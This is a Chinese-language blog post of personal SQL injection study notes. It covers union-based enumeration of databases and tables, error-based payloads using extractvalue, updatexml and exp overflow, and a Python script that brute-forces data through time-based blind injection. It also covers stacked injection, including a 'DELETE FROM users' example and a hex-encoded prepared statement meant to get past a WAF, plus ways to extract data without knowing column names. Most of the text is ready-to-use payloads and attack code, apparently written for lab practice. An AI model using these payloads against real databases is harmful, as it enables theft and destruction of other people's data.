SQL注入笔记

SQL注入笔记

这里是我的SQL注入笔记,绝赞更新中!欢迎批评斧正!

[TOC]

普通注入&&基础命令

常用查库、表指令

查库: select schema_name from information_schema.schemata <==> show databases

查表:select table_name from information_schema.tables where table_schema=0x7365637572697479(库名)    //'security'

查列:select column_name from information_schema.columns where table_name='~~~~';    //column 列;栏

查字段:select (column1),(column2) from (表名).(列名);

其中schema_name;table_name;column_name…可视为一种全局变量;

concat()函数、ordor by

有时查列或表一次性无法显示全,就用group_concat()包住上列全局变量;
group_concat()的作用是将所有数据拼接为1行显示,详细可查看concat函数介绍;

order by指令原本用于排序,但在注入中可以用于确定列数;
假定某表有3列;

/?id=1' order by 1;-->成功
/?id=1' order by 2;-->成功
/?id=1' order by 3;-->成功
/?id=1' order by 4;-->失败

故此表有三列;
limit (起始序号(0开始)),(展示行数);
待补充…

不常用全局变量

select system_user()<==>user()    //展示系统用户

select database()            //展示数据库名

select version()            //展示版本信息

select @@datadir            //展示数据储存路径

select @@version_compile_os    //展示服务器系统

为什么会有1,2,select…

类似于(union selcet 1,2,#)的缘故:
上例是确定了此表有三列,为想要的数据得到展示,选择第三列来显示;
当如(union 1,selcet ~
,3#)时数据会出现在第二列;

报错注入

XPath语法错误注入

extractvalue()

extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
当我们在XPath_string故意填入错误的XPath时,在回显报错的同时会执行XPath的sql语句。
可根据此函数进行报错注入

// 这里是为了绕过空格的检测,所以用()把所有的东西包裹起来
// 0x7e是“~”,是sql的一元运算符,可以防止在回显的时候不回显第一组数据
// 可以的话想用0x5e“^”也可以...
extractvalue(NULL,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))#
extractvalue(NULL,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata))))#

UPDATEXML()

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
和上面同理,但需要多加一个NULL

整型溢出错误注入(SQL<5.5.53)

select ~0;
>>> 18446744073709551615

这里我们对0进行了取反,导致数据溢出

select !(select * from (select user())x);
>>> 1

当一条语句执行成功时,返回0。因此非一下就变成了“1”.

select exp(710);
>>> ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

这里exp()计算自然指数。到了710就已经溢出了,我们尝试:

select exp(~(select*from(select user())x));
>>> DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

虽然报错,但成功返回用户信息。以此来注入。

时间盲注

时间盲注

在时间盲注中共使用了4个比较重要的语句:

sleep(s);         # 将语句延迟s秒
if(a,b,c);         # 如果a语句成立,执行b,否则执行c
ascii(a);        # 将语句a的字符转换为ascii(十进制)
substr(a,b,c);    # 将a的语句,从b(num)的位置开始,截取c(num)个字符

我们将其一个一个结合起来就可以得到:

select if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),?,1))=?),sleep(5),1);
# 一一拆分对应
select if(@a,sleep(5),1)     #如果@a语句成立,执行sleep(5),否则返回1
@a=(ascii(@b)=?)            #判断ascii后的@b是否等于?中的数字
@b=substr(@c,?,1)            #从?处开始,截取@c语句中的1个字符
@c=(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())     #查表语句,可以变换为查列,查字段的语句

由此,我们可以实现爆破来获得信息
这里来一个python脚本(版本>3.0)(十分臃肿

import requests

mode = input("plz input use mode:")
# T查表 C查列 F查字段
while(True):
    if(mode == 'T'):
        payload = 'select if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(5),1)'
        break

    elif(mode == 'C'):
        tab = input('plz input tables_name:')
        payload = 'select if((ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x'+tab.encode('UTF-8').hex()+'),%s,1)))=%s,sleep(5),1)'
        break

    elif(mode == 'F'):
        tab = input('plz input tables_name:')
        col = input('plz input col_name:')
        payload = 'select if((ascii(substr((select '+ col +' from '+ tab +' limit 0,1),%s,1))=%s),sleep(5),1)'
        break

    elif(mode != 'F'|'C'|'T'):
        print('Error')

url = 'http://114514.com/FAQ.php'
res = ''
sel_num = input("plz input sel_num:")
# 要查询的字符数

for i in range(1,sel_num):
    print(i)
    for j in range(32,127):
        print(chr(j))
        now_payload = payload % (i,j)
        try:
            r = requests.post(url=url,data=now_payload,timeout=4.5)
            # 这里视情况更改
        except:
            res += chr(j)
print(res)

sql堆叠注入

原理

在一定条件下,我们可以通过 “ ; ” 提前结束sql语句,并在后面跟上其它sql语句,得到执行。在myphpadmin我们便可以这样多句执行
比如:

$a = $_GET['a'];
$sql = "SELECT * FROM users WHERE id=$id";

在这里我们甚至可以构造:

$a = "1;DELETE FROM users";

将整个users表全部删除!可见其危害有多大
不过一般来说,这种注入的局限比较大…
可能数据库引擎不支持,权限不足等…都会导致注入失败,还有就是,结果不一定会有回显…
yysy,我刚开始我从字面意思以为是什么数据溢出的骚操作(

应用

sql预处理语句

在可以进行堆叠注入时,且像”select、or…“等重要语句被过滤时,可以使用sql预处理语句

SET @a="select * from users"; #怎么说?设定了一个a变量
PREPARE test FROM @a; #使test=@a
EXECUTE test; #加载test语句

这样,我们就可以执行@a所设定的语句
再来,我们将我们的@a所设定的语句转换为hex,即可绕过大多数的waf
这里,我们尝试:

http://114514.com/?id=1';SET+@a=0x73656C65637420736C656570283529;PREPARE+test+FROM+@a;EXECUTE+test;"
//select sleep(5);

bypass - information_schema

原理

也不是什么奇技淫巧,只是有其它的类似于information_schema的东西可以用来替代。
这里先只给出payload,详细原理之后补上。不知其所以然是不行的。

# 无自增id时
select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
+---+---+-------------------------------+
| 1 | 2 | group_concat(table_name)      |
+---+---+-------------------------------+
| 1 | 2 | users,emails,uagents,referers |
+---+---+-------------------------------+

# 有自增id时
select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database();
+---+---+-------------------------------+
| 1 | 2 | group_concat(table_name)      |
+---+---+-------------------------------+
| 1 | 2 | emails,referers,uagents,users |
+---+---+-------------------------------+

https://www.anquanke.com/post/id/193512
原作者说,可能还有更多方式,但我现在时间有限。之后再说。

as别名的无列名注入

原理

通过as和虚拟表来使数据导入至虚拟表并赋予别名,以此在不知道列名的状况下,通过别名窃取到数据。

as语句

要了解此注入先需要知道什么是as。
其实也简单,它就是为数据起了一个别名。
例如,我使用如下语句查询到了以下结果:

select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

这时候,可能有人不懂洋文(比如我),这时候我们可以用as语句进行转换:

select id as 编号,username as 用户名,password as 密码 from users;
+--------+-----------+------------+
| 编号    |  用户名    | 密码       |
+--------+-----------+------------+
|      1 | Dumb      | Dumb       |
|      2 | Angelina  | I-kill-you |
|      3 | Dummy     | p@ssword   |
|      4 | secure    | crappy     |
|      5 | stupid    | stupidity  |
|      6 | superman  | genious    |
|      7 | batman    | mob!le     |
|      8 | admin     | admin      |
|      9 | admin1    | admin1     |
|     10 | admin2    | admin2     |
|     11 | admin3    | admin3     |
|     12 | dhakkan   | dumbo      |
|     14 | admin4    | admin4     |
+--------+-----------+------------+

可以发现,id、username、password都变成了中文。

无列名查询

但需要注意的是,这并不是在原表修改的,而是产生了一张虚拟表。这使得我们可以不用查列名即可获得数据。这就让我们可以干一些奇怪的事情。
注意,这里需要知道表的列数(其实也容易获取)

select 1,2,3 as c;
# 获得了一张虚拟表,最后列名是c
+---+---+---+
| 1 | 2 | c |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+

select 1,2,3 as c union select * from users;
# 我们发现原有的列名被替换了
+----+----------+------------+
| 1  | 2        | c          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

# 这时候,我们就可以对这个虚拟表干一些奇怪的事情
select group_concat(c) from (select 1,2,3 as c union select * from users) as b;
# 这里是又建立了另一个表,让他查询我们之前导入了数据的虚拟表,便可以提出数据
# 注意,新表一定要起别名,不然会报错(指上面的as b)
# 这个太长了,我就在下面放图片了

getc.PNG

Comments